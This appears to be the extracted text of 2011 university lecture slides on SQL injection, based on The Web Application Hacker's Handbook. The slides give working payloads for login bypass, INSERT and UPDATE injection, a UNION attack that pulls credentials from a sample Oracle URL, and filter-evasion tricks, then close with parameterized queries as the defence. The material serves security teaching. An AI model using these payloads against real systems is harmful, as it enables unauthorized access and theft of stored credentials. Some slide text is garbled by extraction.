Software Security

Report
Software Security
Lecture 3
Fang Yu
Dept. of MIS,
National Chengchi University
Spring 2011
Outline

Today we will discuss how to bypass clientside controls (by Tony, Ch5) and SQL
Injections (Ch9)

We shall also schedule all the presentations

The course website :

http://soslab.nccu.edu.tw/Courses.html
Injecting Code I
Chapter 9
The Web Application Hacker’s
Handbook
Injecting into Interpreted
Languages

An interpreted language is one whose
execution involved a runtime component that
interprets the code of the language and
carries out the instructions that it contains


SQL, LDAP, Perl, PHP.
In most applications, the code processed by
the interpreter is a mix of instructions written
by a programmer and data supplied by a
user.

An attacker can supply crafted input that breaks
out of the data context, usually by supplying
some syntax that has a special significance
within the grammar of the interpreted language.
Injecting into SQL

Web applications commonly construct SQL
statements that incorporate user-supplied
data, which if vulnerable, can enable an
attacker to read and modify all data stored in
the database.

If an application does not handle single
quotation marks in user-supplied data, it is
wide open to SQL injection.


An attacker can supply input containing a
quotation mark to terminate the string that he
controls, and can then write arbitrary SQL to
modify the query.
A nice link for you to practice SQL injections
 http://sqlzoo.net
Injecting into SQL

Look at the following two queries and
compare the difference in the output, where
the user input is in red (Note that the single
quote is part of the user input in the second
example):
SELECT * FROM books WHERE
publisher=‘Wiley’
SELECT * FROM books WHERE
publisher=‘Wiley’ OR 1=1--‘
SELECT * FROM books WHERE
publisher=‘Wiley’ OR ‘a’=‘a’
Bypassing a Login

Consider the following simple SQL query
that checks an attempt login:
SELECT * FROM users WHERE
username= ‘marcus’ and password
= ‘secret’

This query causes the database to check
every row within the users table and extract
each record where the username column
has the value marcus and the password
column has the value secret.
Bypassing a Login

if an attacker knows that the username of
the application administrator is admin

he can supply the following username
admin’-SELECT * FROM users WHERE
username= ‘admin’--’ and
password = ‘foo’

Which is equal to
SELECT * FROM users WHERE
username= ‘admin’
Bypassing a Login

if an attacker knows nothing, he can supply
the following username
’ OR 1=1--
SELECT * FROM users WHERE
username= ‘’ OR 1=1--’ and
password = ‘foo’
which is equal to
SELECT * FROM users WHERE
username= ‘’ OR 1=1
Finding SQL Injection Bugs

For string data or numeric data, the following
steps are normally sufficient to identify the
majority of SQL injection vulnerabilities:

String data

In order to exploit any SQL injection flaw
with user-supplied string data, you need to
break out of the quotation marks that
encapsulate a string in SQL.





Submit a single quotation mark.
Submit two single quotation marks together.
Oracle: ‘||’FOO
MS-SQL: ‘+’FOO
MySQL: ‘ ‘FOO
Finding SQL Injection Bugs

Numeric data

The application may handle numeric data as
a string by encapsulating it within single
quotation marks, so always perform the
steps described for string data.






Submit a simple mathematical expression.
Use SQL-specific keywords and syntax, such
as the ASCII command, which returns the
numeric ASCII code of the supplied character.
For example, all the followings are equal to 2
1+1
67-ASCII(‘A’)
51-ASCII(1)
HTTP Encodings

Be careful to special HTTP characters

Use URL-encode them





& is %26
= is %3d
+ is %2b
; is %3b
A whtespace is %20
Injecting into Different
Statement Types

SELECT Statements


SELECT statements are used to retrieve
information from the database
The entry point for SQL injection attacks is
normally the WHERE clause of the query since
that is where user-supplied items are passed to
the database.
Injecting into Different
Statement Types

INSERT Statements


INSERT statements are used to create a new
row of data within a table.
If any fields in an INSERT statement are
vulnerable to SQL injection, an attacker can
insert arbitrary data into the table, including
values for fields that he should not be able to
control.
INSERT INTO users (username, password, ID, privs) VALUES (‘daf’,
‘secret’, 2248, 1)
INSERT INTO users (username, password, ID, privs) VALUES (‘foo’,
‘bar’, 9999, 0) --’, ‘secret’, 2248, 1)
Injecting into Different
Statement Types

UPDATE Statements
 UPDATE statements are used to modify
one or more existing rows of data within a
table.

An UPDATE statement works in a similar way
to an INSERT statement, except it usually
contains a WHERE clause like a SELECT
statement.
UPDATE users SET password=’newsecret’ WHERE user = ‘marcus’
and password = ‘secret’
1. Supply username as admin’-2. Suppy username as admin’ or 1=1--
Injecting into Different
Statement Types

DELETE Statements


DELETE statements are used to delete one or
more rows of data within a table
As with UPDATE statements, a WHERE clause
is normally used to tell the database which rows
of the table to update, and user-supplied data is
most likely to be incorporated into this clause.
Injecting into Different
Statement Types

UNION Statements

The UNION operator is used in SQL to
combine the results of two SELECT
statements

You can often employ the UNION operator to
perform a second, entirely separate query
SELECT author,title,year FROM books WHERE publisher = ‘Wiley’
SELECT author,title,year FROM books WHERE publisher = ‘Wiley’
UNION
SELECT username, password, uid FROM users--‘
SELECT author,title,year FROM books WHERE publisher = ‘Wiley’
UNION
SELECT username, password FROM users--‘
ORA-01789: query block has incorrect
number of result columns
‘ UNION SELECT NULL-‘ UNION SELECT NULL, NULL-‘ UNION SELECT NULL, NULL, NULL--
SELECT author,title,year FROM books WHERE publisher = ‘Wiley’
UNION
SELECT uid, username, password FROM users--‘
ORA-01790: expression must have same
datatype as corresponding
expression
‘ UNION SELECT ‘a’, NULL, NULL-‘ UNION SELECT NULL, ‘a’, NULL-‘ UNION SELECT NULL, NULL, ‘a’--
Fingerprinting the Database
All of them are equal to 0
Oracle: BITAND(1,1)-BITAND(1,1)
MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL: CONNECTION_ID()-CONNECTION_ID()
An Oracle Hack example
https://wahhapp.com/employees.asp?EmpNo=7521
A UNION attack
https://wahhapp.com/employees.asp?EmpNo=7521%20UNION%20SELEC
T%20NULL%
20from%20dual--
[Oracle][ODBC][Ora]ORA-01789: query block has incorrect
number of result
columns
A UNION attack
Continue add NULL until no errors
https://wahh-app.com/employees.asp
EmpNo=7521%20UNION%20SELECT%20NULL,NULL,NULL,NUL
L%
20from%20dual--
A UNION attack
Continue add NULL until no errors
https://wahh-app.com/employees.asp
EmpNo=7521%20UNION%20SELECT%20NULL,’a’,NULL,NULL%
20from%20dual--
Query user_objects table
https://wahhapp.com/employees.asp?EmpNo=7521%20UNION%20SELECT%20NULL
,object_name,object_type,NULL%20from%20user_objects--
Query User Table
https://wahhapp.com/employees.asp?EmpNo=7521%20UNION%20SELECT
%20NULL,
column_name,NULL,NULL%20from%20user_tab_columns%20
where%20table_name%20%
3d%20’USERS’--
Get data!
https://wahhapp.com/employees.asp?EmpNo=7521%20UNION%20S
ELECT%20NULL,
login,password,NULL%20from%20users--
Bypassing Filters

The application may remove or sanitize
certain characters or block common SQL
keywords, though these types of filters are
often vulnerable to bypasses.

Avoid blocked characters


If the application removes some characters that are
often used in SQL injection attacks, remember that
the single quotation marks are not required for
numeric fields.
If the comment symbol is blocked, you can inject
values that are always true such as ‘a’=‘a’.
Bypassing Filters

Circumventing simple validation


Some input validation will block or remove any
supplied data which appears on a list.
Block/remove “SELECT”
SeLeCt
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554

Using SQL comments

Comments can be used to simulate whitespace
within your injected data.
SEL/*foo*/ECT username,password FR/*foo*/OM users
Bypassing Filters

Manipulating blocked strings

If the application blocks certain strings that you
wish to place as data items in an injected query,
the required string can be constructed
dynamically using various string manipulation
functions.
Oracle:‘adm’||’in’
MS-SQL:‘adm’+’in’
MySQL:concat(‘adm’,’in’)

Using dynamic execution

Some databases allow SQL statements to be
executed dynamically by passing a string
representation of a particular statement to the
relevant function.
exec(‘sel’ + ‘ect * from ‘ + ‘users’)
Second-Order SQL Injection

It is very common for applications to defend
themselves against SQL injection by
escaping single quotation marks with a
second single quotation mark.

But, this may pose a problem if the same
item of data is being passed through several
SQL queries, being written to the database
and read back more than once

An attacker could successfully bypass the
input validation designed to block SQL
injection attacks and execute arbitrary
queries within the database and retrieve
results.
Escalating the Database
Attack

If the database is shared with other
applications, you may be able to escalate
privileges within the database and gain
access to other applications’ data.

You may be able to compromise the
operating system of the database server.

You may be able to gain network access to
other systems.

You may be able to make network
connections back out of the hosting
infrastructure to your own computer.

You may be able to extend the database’s
existing functionality in arbitrary ways by
creating user-defined functions.
Preventing SQL Injection

Partially Effective Measures



Escaping single quotation marks within user
input by doubling them up
Using stored procedures for all database
access
Parameterized Queries



The application specifies the structure of the
query, leaving placeholders for each item of
user input.
The application specifies the contents of each
placeholder.
The most effective way to prevent SQL
injections
A vulnerable query
A parameterized query
Next week

We will continue injection code (Chapter 9)
next week

We will have Adam presents Attacking
Authentication (Chapter 6)

We will also discuss Cross-site Scripting
Attacks (Chapter 12)

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